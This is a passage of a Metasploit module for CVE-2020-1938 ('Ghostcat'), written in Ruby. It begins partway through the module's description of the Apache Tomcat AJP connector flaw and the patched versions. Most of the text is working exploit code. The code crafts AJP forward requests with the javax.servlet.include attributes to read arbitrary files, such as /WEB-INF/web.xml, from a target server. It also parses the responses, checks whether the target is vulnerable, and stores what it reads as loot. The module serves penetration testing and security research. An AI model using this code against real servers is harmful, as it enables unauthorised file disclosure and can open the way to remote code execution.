Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed: - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP. Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations. }, 'Author' => [ 'A Security Researcher of Chaitin Tech', # POC 'SunCSR Team' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2020-1938'], ['EDB', '48143'], ['URL', 'https://www.chaitin.cn/en/ghostcat'] ], 'DisclosureDate' => '2020-02-20', 'Notes' => { 'AKA' => ['Ghostcat'], 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [] } ) ) register_options( [ Opt::RPORT(8009, true, 'The Apache JServ Protocol (AJP) port'), OptString.new('FILENAME', [true, 'File name', '/WEB-INF/web.xml']) ] ) end def send_recv_once(data) buf = '' begin connect sock.put(data) buf = sock.get(30) || '' rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e elog('Error socket', error: e) ensure disconnect end buf end def parse_response(buf) parsed_response = GhostCatResponse.new until buf.empty? chunk = buf[4...(4 + buf.unpack1('xxn'))] buf = buf[(4 + chunk.length)...] case chunk[0].ord when ApacheJP::ApacheJPSendBodyChunk::PREFIX_CODE send_body_chunk = ApacheJP::ApacheJPSendBodyChunk.read(chunk) parsed_response.body = send_body_chunk.body_chunk.to_s when ApacheJP::ApacheJPSendHeaders::PREFIX_CODE send_headers = ApacheJP::ApacheJPSendHeaders.read(chunk) parsed_response.status = send_headers.http_status_code.to_i parsed_response.headers = send_headers.headers.snapshot.map { |header| [header.header_name.to_s, header.header_value.to_s] }.to_h when ApacheJP::ApacheJPEndResponse::PREFIX_CODE break when ApacheJP::ApacheJPGetBodyChunk::PREFIX_CODE next # no need to process this chunk else fail_with(Failure::UnexpectedReply, "Received unknown AJP prefix code: #{chunk[0].ord}") end end parsed_response end def read_success?(ghost_cat_response) ghost_cat_response.status == 200 end def read_remote_file ajp_forward_request = ApacheJP::ApacheJPForwardRequest.new( http_method: ApacheJP::ApacheJPForwardRequest::HTTP_METHOD_GET, req_uri: '/index.txt', remote_addr: '127.0.0.1', remote_host: 'localhost', server_name: datastore['RHOST'].to_s, headers: [ { header_name: 'host', header_value: "#{datastore['RHOST']}:8080" } ], attributes: [ { code: ApacheJP::ApacheJPRequestAttribute::CODE_REQ_ATTRIBUTE, attribute_name: 'javax.servlet.include.request_uri', attribute_value: 'index' }, { code: ApacheJP::ApacheJPRequestAttribute::CODE_REQ_ATTRIBUTE, attribute_name: 'javax.servlet.include.path_info', attribute_value: datastore['FILENAME'].to_s }, { code: ApacheJP::ApacheJPRequestAttribute::CODE_REQ_ATTRIBUTE, attribute_name: 'javax.servlet.include.servlet_path', attribute_value: '/' }, { code: ApacheJP::ApacheJPRequestAttribute::CODE_TERMINATOR } ] ) data = "\x12\x34" + [ ajp_forward_request.num_bytes ].pack('n') + ajp_forward_request.to_binary_s parse_response(send_recv_once(data)) end def check ghost_cat_response = read_remote_file if read_success?(ghost_cat_response) return Exploit::CheckCode::Appears("Successfully read file #{datastore['FILENAME']}") end Exploit::CheckCode::Safe rescue StandardError => e Exploit::CheckCode::Unknown(e.message) end def run ghost_cat_response = read_remote_file print ghost_cat_response.body unless ghost_cat_response.body.blank? unless read_success?(ghost_cat_response) print_error 'Unable to read file, target may not be vulnerable.' end file = store_loot( datastore['FILENAME'].to_s, 'text/plain', datastore['RHOST'].to_s, ghost_cat_response.body, 'Ghostcat File Read/Inclusion', 'Read file', datastore['FILENAME'] ) print_good "File contents save to: #{file}" end end
